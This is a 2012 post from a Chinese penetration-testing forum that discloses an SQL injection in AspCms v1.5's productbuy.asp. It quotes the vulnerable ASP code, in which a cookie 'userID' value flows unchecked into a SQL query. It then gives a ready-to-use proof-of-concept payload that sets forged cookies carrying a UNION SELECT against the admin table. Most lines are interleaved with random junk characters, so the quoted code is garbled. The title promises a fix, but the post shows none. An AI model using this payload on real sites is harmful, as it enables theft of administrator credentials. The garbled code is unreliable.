中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
) B7 d- T) w- P0 v也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
& }/ I: t1 e" W- R) P废话不多说,看代码:
3 {5 r) s- ^( Z' H/ U- b+ I% D3 f& l3 e& u, A
<%
! v" ^9 {9 W4 G% m2 J. p  V: c- C7 i
if action = "buy" then. x4 ^! n! v4 ]4 l
# ~3 n/ l& I$ L  I2 o& a( P
        addOrder()  y; o/ f! S8 q5 ~9 _8 E, d' q. S" E' A

1 f+ p5 a4 V: b- U: E1 v2 Helse
% K8 |  X& d% @& B2 L5 U: M9 o$ c- w+ J4 _! [% ?3 r! U8 _
        echoContent()' q) d6 F2 w4 n! f
# A, x2 f+ P& @( ]$ F' o$ P3 K' D
end if
9 S0 K! `& o9 l' [: e3 Q5 g- x- _1 b
6 G4 M% T& U+ {) X1 M8 F5 }" Y
1 h9 U9 R( |% z+ x
……略过$ p2 n& u1 C0 M3 z- g3 h3 x' q% s& y
  [2 E# G) q( H" M6 b
& s/ y& A7 s  g: O) R  J' J) t6 k

6 H: y1 T* \+ `+ ]# w/ S. OSub echoContent()
" H0 |2 c2 Q; a$ f5 I1 `
% ~! d. p" R9 W        dim id0 g3 V0 _& D! B" N( h$ Z7 h
: y! t5 s( ?% l, ?4 o" q& v
        id=getForm("id","get")
4 n4 D" Y- ~& @
; ?# f( B7 k: j. c: Q8 `5 V3 s3 O! ~- [        5 v% x6 e7 }  p2 Q1 }

; ^9 H0 O: h3 p6 ~        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" + `  I% Y7 c- @& e  z
) c. t4 J) l$ y  p' Z9 d. n
        
) V% l# \8 w+ m8 u
# G8 C8 }3 S2 o        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")' h& U) V0 e& k

7 m, k8 }% q6 k/ \& _        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
# z. O# M6 L, a; I+ m/ f
/ d4 R. g% S  I0 @# U        Dim templatePath,tempStr/ x" [& G, p5 ^# m, K+ ?: m

- N* c$ g, g! u5 [        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
# {) v, s8 \6 ?  R: c& \4 H$ l6 T- f3 G. Q
( ]- b* i$ l5 D

" \; @: _  G  ]( ]  ^        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")  O& D* E9 R5 @7 u
7 G# W3 s9 j2 e5 R4 ]0 d5 @
        selectproduct=rsObj(0)
% u0 ]- D$ j5 K* o
* K% z* a; E" l        , E6 @! ~8 }# G" ?5 }2 o( V
- Z4 p' E% Z  j: [- c
        Dim linkman,gender,phone,mobile,email,qq,address,postcode- \) V& j! {) {1 E
# Y8 P! u! P: y# Q0 p
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
4 A0 a. B  i! R' t7 \9 K  u
( `  d# ^% Z9 W3 h2 B. [        if rCookie("loginstatus")=1 then  
1 J, e0 T. A9 S! A0 u' n7 e: Q( D1 ]5 ?! m3 m
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
# n+ S$ x9 h* h0 j
. L  ~; ^1 i9 ]0 z) t$ U/ `3 g                linkman=rsObj("truename")! P- F0 q+ {) o$ v: ~% C; R

+ Y6 C) d& a) @; w: c2 |1 c                gender=rsObj("gender")
2 p# [* C  C& K
! q" `% J. B/ }) N/ ?5 ]                phone=rsObj("phone")
$ q# g; p5 [" y" l: Y7 r9 P; x, E
2 I" \5 I8 ~' p" r8 L& K( ?                mobile=rsObj("mobile")
* C: v8 x7 s5 g0 L2 d* U8 s/ v8 _2 |' n  ~( d- w5 k. T
                email=rsObj("email")
5 b5 L) ~0 W; `: @5 u# v% G) Y0 `) P" O" H, ]
                qq=rsObj("qq")
; v4 R+ x$ [  [9 ]0 G- G" E- ]3 l
, ^" W, {4 C! w( G                address=rsObj("address")0 l  }- A; }. r- C! d! _% h

2 m( g' z0 I5 ]                postcode=rsObj("postcode"). r* ^& D1 b4 |3 I: C+ c
. @6 w1 E( r7 V- I, p% v" L
        else 8 \' S- v* [; A% N8 Q4 x& ^( t
' F, K& X6 G% ?/ O: k- |( p
                gender=1, O; I5 B1 y. d4 e+ F
. Q$ S4 J7 E+ Q' n0 N$ R, U
        end if& S! j4 o  v9 ?: }$ }& t
) Y4 z5 v; y  m2 g2 q# [
        rsObj.close()
1 V) V( Q! ^: p  G: k, Z! I2 L; @3 K6 x- r, f/ v2 U: A/ c
               
' Z2 ~/ Y1 U  `& M/ t" H' q: G; w; m5 d0 t
        with templateObj
3 Q- V  f+ R/ ~. j+ O# T$ U5 `
) X  z" H: e+ c. f+ R, M$ f% `* Q                .content=loadFile(templatePath)        . a/ I; _( O, m
8 o8 Q9 [) z. p, r
                .parseHtml()
: s% i/ Q. ^) B* V. v0 }: v- W- l& D
. z3 p! P/ p7 j1 |8 T- o                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct), Q1 ^5 _1 `, o

( O* d2 Z1 j) o7 w3 S                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                ! p/ O% K' p, A3 ^' A) p& b2 q

5 u( M; T# O; O( k# y, T& P) `                .content=replaceStr(.content,"[aspcms:gender]",gender)               
4 L5 S( r0 p3 q2 U
7 D  }8 Y; M: @! m8 l                .content=replaceStr(.content,"[aspcms:phone]",phone)                : s7 ~4 F+ r9 M! Z- D6 f

: ~* }2 A& ~* T; j                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                4 |! ?, @1 s- O7 v

# N/ Y  x2 G3 f/ X! x                .content=replaceStr(.content,"[aspcms:email]",email)                        
+ ?' i6 ?; A) s+ s: P& w" y% J7 j; U
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
- p) J; X+ S5 }* a( S! H# M) p$ q; p( {. B7 F1 M" i. E" N
                .content=replaceStr(.content,"[aspcms:address]",address)                        
' s3 o3 E9 a& u' a% U; @
" E( Q5 _7 d- \$ k7 F4 T                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
8 R7 K" b$ l$ G  Q5 L! q% a' M
0 V4 i, X; U9 l  d) h' }; K% k                .parseCommon()                   l: v, c1 G, I9 k/ ~% t0 v

, Y1 {) M3 b, z                echo .content
2 N5 p3 G/ |0 l9 h* ^) m1 p/ v+ E
        end with8 y6 h/ K3 z  A- |# V1 m
" ?2 Q) V2 d( ]  B4 M# ~
        set templateobj =nothing : terminateAllObjects; x: b* _1 _& T5 |0 [$ r
" C4 s* b5 l5 U* D: z( q, P! d4 H
End Sub
! z% |. _7 V1 E1 e3 B漏洞很明显,没啥好说的
% H1 n4 F) K- W* Vpoc:
4 S, ?4 M6 m! d7 \, E
" }3 |& g0 t$ g% ]* t! M( P0 `javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​, p3 r3 d3 \0 L% b0 s$ o
6 H4 q. }9 X1 ?- [  `' f! y4 S+ O





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2